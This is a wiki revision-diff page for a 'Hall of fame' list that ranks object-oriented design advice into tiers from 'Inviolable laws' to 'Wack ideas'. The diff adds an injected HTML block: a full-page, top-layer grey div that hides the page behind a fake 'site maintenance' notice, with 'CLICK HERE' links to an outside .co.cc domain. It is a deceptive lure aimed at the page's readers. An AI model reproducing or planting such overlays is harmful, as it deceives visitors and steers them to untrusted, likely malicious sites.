Hall of fame
From CSSEMediaWiki
(Difference between revisions)
m |
|||
Line 1: | Line 1: | ||
This page is an attempt to make sense of the overwhelming morass of OOD advice by classifying it by how valuable we consider it to be. | This page is an attempt to make sense of the overwhelming morass of OOD advice by classifying it by how valuable we consider it to be. | ||
− | == Inviolable laws == | + | >== Inviolable laws == |
''We the people hold these things to be absolute and inviolable laws of OO design. Anyone breaking these maxims should be publically mocked and made to program in COBOL forevermore.'' | ''We the people hold these things to be absolute and inviolable laws of OO design. Anyone breaking these maxims should be publically mocked and made to program in COBOL forevermore.'' | ||
Line 9: | Line 9: | ||
* [[Program to the interface not the implementation]] | * [[Program to the interface not the implementation]] | ||
* [[Keep accessors and mutators separate]]/ [[Avoid side effects]] | * [[Keep accessors and mutators separate]]/ [[Avoid side effects]] | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://oboqixenoz.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://oboqixenoz.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
== Most excellent ideas == | == Most excellent ideas == |
Revision as of 04:06, 18 November 2010
This page is an attempt to make sense of the overwhelming morass of OOD advice by classifying it by how valuable we consider it to be.
>== Inviolable laws ==
We the people hold these things to be absolute and inviolable laws of OO design. Anyone breaking these maxims should be publically mocked and made to program in COBOL forevermore.
- Goto considered harmful
- Don't repeat yourself
- Program to the interface not the implementation
- Keep accessors and mutators separate/ Avoid side effects
Most excellent ideas
Everybody should know about these & try to follow them. Any exceptions need convincing justification.
- Design by contract
- Liskov substitution principle
- Behavioral completeness
- Information hiding
- Don't expose mutable attributes
Helpful ideas
General knowledge that identifies forces that should normally be taken into consideration.
- Design patterns
- Keep it simple (beginners probably often violate this one, therefore it should be one of the most important ideas)
Controversial ideas
Debatable propositions. Might help in some cases, but not everyone agrees.
Wack ideas
These are wrong. Following this advice will make your designs worse.